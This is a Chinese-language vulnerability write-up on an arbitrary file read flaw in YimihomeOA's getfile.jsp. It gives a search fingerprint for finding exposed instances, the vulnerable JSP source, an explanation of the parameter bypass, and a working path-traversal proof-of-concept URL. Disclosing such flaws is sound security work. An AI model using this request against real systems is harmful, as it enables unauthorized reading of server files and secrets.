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YimihomeOA getfile.jsp 任意文件读取漏洞

# YimihomeOA getfile.jsp 任意文件读取漏洞 ## 漏洞描述 YimihomeOA getfile.jsp文件过滤不足，导致任意文件读取漏洞 ## 漏洞影响 YimihomeOA ## 网络测绘 app="Yimiho...

YimihomeOA getfile.jsp 任意文件读取漏洞
===============================

漏洞描述
----

YimihomeOA getfile.jsp文件过滤不足，导致任意文件读取漏洞

漏洞影响
----

YimihomeOA

网络测绘
----

app="YimihomeOA"

漏洞复现
----

产品页面

![img](https://shs3.b.qianxin.com/butian_public/f896165bb9bd7dfdf79630f415b86864ba14749466245.jpg)

出现漏洞的文件

```php
<%@ page contentType="text/html;charset=utf-8" %>
<%@page import="cn.js.fan.util.*" %>
<%@page import="cn.js.fan.web.Global" %>
<%@page import="com.redmoon.oa.*" %>
<%@page import="java.io.*" %>
<jsp:useBean id="fchar" scope="page" class="cn.js.fan.util.StrUtil"/>
<jsp:useBean id="fsecurity" scope="page" class="cn.js.fan.security.SecurityUtil"/>
<jsp:useBean id="privilege" scope="page" class="com.redmoon.oa.pvg.Privilege"/>
<%
    String user = ParamUtil.get(request, "user");
    if ("".equals(user)) {
        if (!privilege.isUserPrivValid(request, "read")) {
            System.out.println("警告非法用户，你无访问此页的权限！");
            return;
        }
    }

String filename = ParamUtil.get(request, "filename");
    String extname = request.getParameter("extname");
    String prop = request.getParameter("prop");
    if (filename == null) {
        System.out.println("缺少文件名！");
        return;
    }

filename = filename + "." + extname;

Config cfg = new Config();
    String noticefilepath;
    if ("activex".equals(prop)) {
        noticefilepath = prop;
    } else {
        noticefilepath = cfg.get(prop);
    }

String filePath = Global.getRealPath() + "/" + noticefilepath + "/" + filename;
    if ("li".equals(prop)) {
        filePath = Global.getRealPath() + "WEB-INF/" + prop + filename;
    }

response.setContentType("application/" + extname);
    response.setHeader("Content-disposition", "attachment; filename=" + filename);

BufferedInputStream bis = null;
    BufferedOutputStream bos = null;

try {
        bis = new BufferedInputStream(new FileInputStream(filePath));
        bos = new BufferedOutputStream(response.getOutputStream());

byte[] buff = new byte[2048];
        int bytesRead;

while (-1 != (bytesRead = bis.read(buff, 0, buff.length))) {
            bos.write(buff, 0, bytesRead);
        }

} catch (final IOException e) {
        System.out.println("出现IOException." + e);
    } finally {
        if (bis != null)
            bis.close();
        if (bos != null)
            bos.close();
    }

out.clear();
    out = pageContext.pushBody();
%>
```

首先验证 user 传参是否为空, 需要对 user 参数任意赋值

```php
if ("".equals(user)) {
        if (!privilege.isUserPrivValid(request, "read")) {
            System.out.println("警告非法用户，你无访问此页的权限！");
            return;
        }
    }
```

接着接受3个参数 `filename, extname, prop`

```php
String filename = ParamUtil.get(request, "filename");
String extname = request.getParameter("extname");
String prop = request.getParameter("prop");
```

接着判断 prop 是否为 activex, 不等于则会去调用系统默认配置的路径  
所以filename和extname这两个参数我们可以控制。构造请求前台任意文件读取

```php
String filePath = Global.getRealPath() + "/" + noticefilepath + "/" + filename;
    if ("li".equals(prop)) {
        filePath = Global.getRealPath() + "WEB-INF/" + prop + filename;
    }
```

验证POC

```php
/public/getfile.jsp?user=1&prop=activex&filename=../public/getfile&extname=jsp 
```

![img](https://shs3.b.qianxin.com/butian_public/f9339164f1e4fcbda81be03146be2871ec0473abdc30a.jpg)

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发表于 2024-07-12 18:45:01
阅读 ( 929 )
分类：OA产品

YimihomeOA getfile.jsp 任意文件读取漏洞

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